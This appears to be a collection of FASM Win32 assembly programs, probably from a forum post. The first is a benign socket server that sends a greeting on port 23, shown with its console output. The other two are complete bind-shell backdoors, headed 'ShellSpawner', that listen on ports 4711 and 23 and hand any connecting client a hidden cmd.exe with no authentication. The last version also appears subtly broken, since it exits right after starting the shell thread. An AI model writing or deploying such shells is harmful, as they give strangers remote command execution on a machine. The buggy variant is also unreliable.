format pe console
include 'win32ax.inc'
entry start

BIND_PORT = $1700     ; 23 in big endian (telnet port)

;;;;;; Stuff not available in standard package
SOCKET_ERROR          = -1
WSAECONNREFUSED       = 10061

struct WSABUF
  len dd ?
  buf dd ?
ends
;;;;;;

; #### CODE
start:
      cinvoke printf, <"Calling WSAStartup", 10>
      invoke  WSAStartup, $0202, wsadata

      test    eax, eax
      jnz     error

      cinvoke printf, <"Calling socket", 10>
      invoke  socket, AF_INET, SOCK_STREAM, 0

      mov     ebx, eax
      cmp     eax, SOCKET_ERROR
      je      error

      cinvoke printf, <"Calling bind", 10>
      invoke  bind, ebx, saddr, sizeof.sockaddr_in

      test    eax, eax
      jnz     error

      cinvoke printf, <"Calling listen", 10>
      invoke  listen, ebx, 1

      test    eax, eax
      jnz     error

      invoke  printf, <"Calling accept (execution will stop here until a connection request is made)", 10>
      invoke  accept, ebx, NULL, NULL

      mov     edi, eax
      cmp     eax, SOCKET_ERROR
      je      error

      cinvoke printf, <"Calling closesocket (for listening socket)", 10>
      invoke  closesocket, ebx

      test    eax, eax
      jnz     error

      cinvoke printf, <"Calling send... ">
      invoke  send, edi, welcomeMessage, sizeof.welcomeMessage, 0

      cmp     eax, SOCKET_ERROR
      je      error

      cinvoke printf, <"%u bytes has been sent (buffer size is %u)", 10>, eax, sizeof.welcomeMessage

      cinvoke printf, <"Calling closesocket (for accepted socket)", 10>
      invoke  closesocket, edi ; This is indeed very important since without it nothing is recieved by the remote host when I tested it

      test    eax, eax
      jnz     error

exit:
      cinvoke printf, <"Shutting down...", 10>
      invoke  WSACleanup
      invoke  ExitProcess, 0

error:
      push    eax ; This push is parameter for printf
      invoke  WSAGetLastError
.show:
      cinvoke printf, <"Error condition detected, program aborted", 10, "WSAGetLastError = %X", 10, "EAX = %X", 10>, eax
      jmp     exit


; #### DATA
      saddr sockaddr_in AF_INET,\   ; sin_family
                        BIND_PORT,\ ; sin_port
                        0,          ; sin_addr
      store byte 0 at $-1           ; To ensure sin_zero[8] array will be filled with zeros (not currently needed, just defensive)

      welcomeMessage db "Greetings curious visitor, I'm going to kill this connection right now.", 13, 10,\
                          "Have a nice day (I don't really care, I'm just a computer anyway)",13, 10
      sizeof.welcomeMessage = $ - welcomeMessage

      wsadata WSADATA


align 4 ; Just to be safe
data import 
  library kernel32, 'kernel32.dll',\
          msvcrt, 'msvcrt.dll',\
          ws2_32, 'ws2_32.DLL'

  include 'API/KERNEL32.inc'

  import msvcrt,\
         printf, 'printf'

  include 'API/ws2_32.INC'
end data    

Calling WSAStartup
Calling socket
Calling bind
Calling listen
Calling accept (execution will stop here until a connection request is made)
Calling closesocket (for listening socket)
Calling send... 140 bytes has been sent (buffer size is 140)
Calling closesocket (for accepted socket)
Shutting down...    

Greetings curious visitor, I'm going to kill this connection right now.
Have a nice day (I don't really care, I'm just a computer anyway)


Se ha perdido la conexión con el host.    

    ;-------------------------------------------------------------------------------
    ; - ShellSpawner - Win32 Shell Spawning Example
    ; - Listens on port 4711
    ;-------------------------------------------------------------------------------
    ; - Program will load winsock, listen on a port,
    ;   and spawn a cmd.exe shell when a connection is made
    ;-------------------------------------------------------------------------------
    ; - 30 July 09, Picnic
    ;-------------------------------------------------------------------------------

    format PE CONSOLE

    include "include\win32ax.inc"

;-------------------------------------------------------------------------------

section ".data" data readable writeable

;-------------------------------------------------------------------------------

    IPPROTO_TCP = 6
    INADDR_ANY = 0
    INFINITE = -1
    PORT = 4711

    lpThreadId dd ?
    server dd ?
    saddrlen dd sizeof.sockaddr_in

    align 4
    WSAData WSADATA
    align 4
    lpStartupInfo STARTUPINFO
    align 4
    lpProcessInformation PROCESS_INFORMATION
    align 4
    saddr sockaddr_in

;-------------------------------------------------------------------------------

section ".text" code readable executable

;-------------------------------------------------------------------------------
entry $
    ; initialize the winsock library
    invoke WSAStartup, 0202h, addr WSAData
    test eax, eax
    jnz .exitA

    ; create a new socket
    invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0
    cmp eax, -1
    jz .exitB

    mov dword [server], eax

    ; set address family
    mov word [saddr.sin_family], AF_INET
    ; convert port number to network byte and store it
    invoke htons, PORT
    mov word [saddr.sin_port], ax
    ; let winsock choose my address
    invoke htonl, INADDR_ANY
    mov dword [saddr.sin_addr], eax

    ; assign address to socket
    invoke bind, dword [server], addr saddr, sizeof.sockaddr_in
    test eax, eax
    jnz .exitC

    ; puts socket in listening state
    invoke listen, dword [server], 1
    test eax, eax
    jnz .exitC

    .while 1
       ; loop forever waiting client to arrive.
       ; when a connection is accepted a new socket is created on the server side
        invoke accept, dword [server], addr saddr, addr saddrlen
        cmp eax, -1
        jz .exitC

       ; start a new thread
       ; new socket handle is passed to the thread as parameter
        invoke CreateThread, 0, 0, Thread_ShellSpawner, eax, 0, addr lpThreadId
    .endw

.exitC:
    ; closes server socket
    invoke closesocket, dword [server]
.exitB:
    ; cleans up the winsock library
    invoke WSACleanup
.exitA:
    ; exit application
    invoke ExitProcess, 0
    ret

;-------------------------------------------------------------------------------

align 4
proc Thread_ShellSpawner,\
    client:dword

    local lpBuffer[MAX_PATH+1]:BYTE

    ; retrieves the path of the Windows system directory
    invoke GetSystemDirectory, addr lpBuffer, MAX_PATH
    ; and changes the current directory
    invoke SetCurrentDirectory, addr lpBuffer

    ; specify main window properties
    mov dword [lpStartupInfo.cb], sizeof.STARTUPINFO
    mov dword [lpStartupInfo.lpReserved], 0
    mov dword [lpStartupInfo.lpTitle], 0
    mov dword [lpStartupInfo.dwFlags], STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES
    mov word [lpStartupInfo.wShowWindow], SW_HIDE
    mov word [lpStartupInfo.cbReserved2], 0
    mov dword [lpStartupInfo.lpReserved2], 0
    mov eax, dword [client]
    mov dword [lpStartupInfo.hStdError], eax
    mov dword [lpStartupInfo.hStdInput], eax
    mov dword [lpStartupInfo.hStdOutput], eax

    ; finally, create shell
    invoke CreateProcess, 0, <"cmd.exe">, 0, 0, TRUE, 0, 0, 0, addr lpStartupInfo, addr lpProcessInformation

    ; call WaitForSingleObject with an infinite timeout
    invoke WaitForSingleObject, dword [lpProcessInformation.hProcess], INFINITE

    ; close client socket
    invoke closesocket, dword [client]
    ret
endp

;-------------------------------------------------------------------------------

section ".idata" import data readable writeable

;-------------------------------------------------------------------------------

    library kernel32,"KERNEL32.DLL",\
         ws2_32,"WS2_32.DLL"

    include "include\api\kernel32.inc"

    import ws2_32,\
       WSAStartup,"WSAStartup",\
       WSASocket,"WSASocketA",\
       htonl,"htonl",\
       bind,"bind",\
       htons,"htons",\
       listen,"listen",\
       accept,"accept",\
       closesocket,"closesocket",\
       WSACleanup,"WSACleanup"
    

format pe console 4.0
include 'win32ax.inc'
entry main
section '.data' data readable writeable
pInfo PROCESS_INFORMATION
sInfo STARTUPINFO
wsaData WSADATA
saddr sockaddr_in
saddrlen dd sizeof.sockaddr_in
server dd ?
cThread dd ?
section '.text' code readable executable
main:
invoke WSAStartup,0202h,wsaData
test eax,eax
jnz .exitA
invoke WSASocket,AF_INET,SOCK_STREAM,6,0,0,0
cmp eax,-1
jz .exitB
mov [server],eax
mov [saddr.sin_addr],0
mov [saddr.sin_family],AF_INET
invoke htons,23
mov [saddr.sin_port],ax
invoke bind,[server],saddr,sizeof.sockaddr_in
test eax,eax
jnz .exitC
invoke listen,[server],1
test eax,eax
jnz .exitC
invoke accept,[server],saddr,saddrlen
cmp eax,-1
jz .exitC
invoke CreateThread, 0, 0, Thread_Shell,eax,0,cThread
.exitC:
invoke closesocket,[server]
.exitB:
invoke WSACleanup
.exitA:
invoke ExitProcess,0
proc Thread_Shell client
mov [sInfo.cb],sizeof.STARTUPINFO
mov [sInfo.dwFlags],STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES
mov [sInfo.wShowWindow],SW_HIDE
mov eax,[client]
mov [sInfo.hStdInput],eax
mov [sInfo.hStdOutput],eax
invoke CreateProcess,0,<"cmd.exe">,0,0,TRUE,0,0,0,sInfo,pInfo
invoke WaitForSingleObject,[pInfo.hProcess],-1
invoke closesocket,[client]
ret
endp
section '.idata' import data readable writeable
library kernel32,'KERNEL32.DLL',\
        ws2_32,'WS2_32.DLL'
include '\api\kernel32.inc'
include '\api\ws2_32.inc'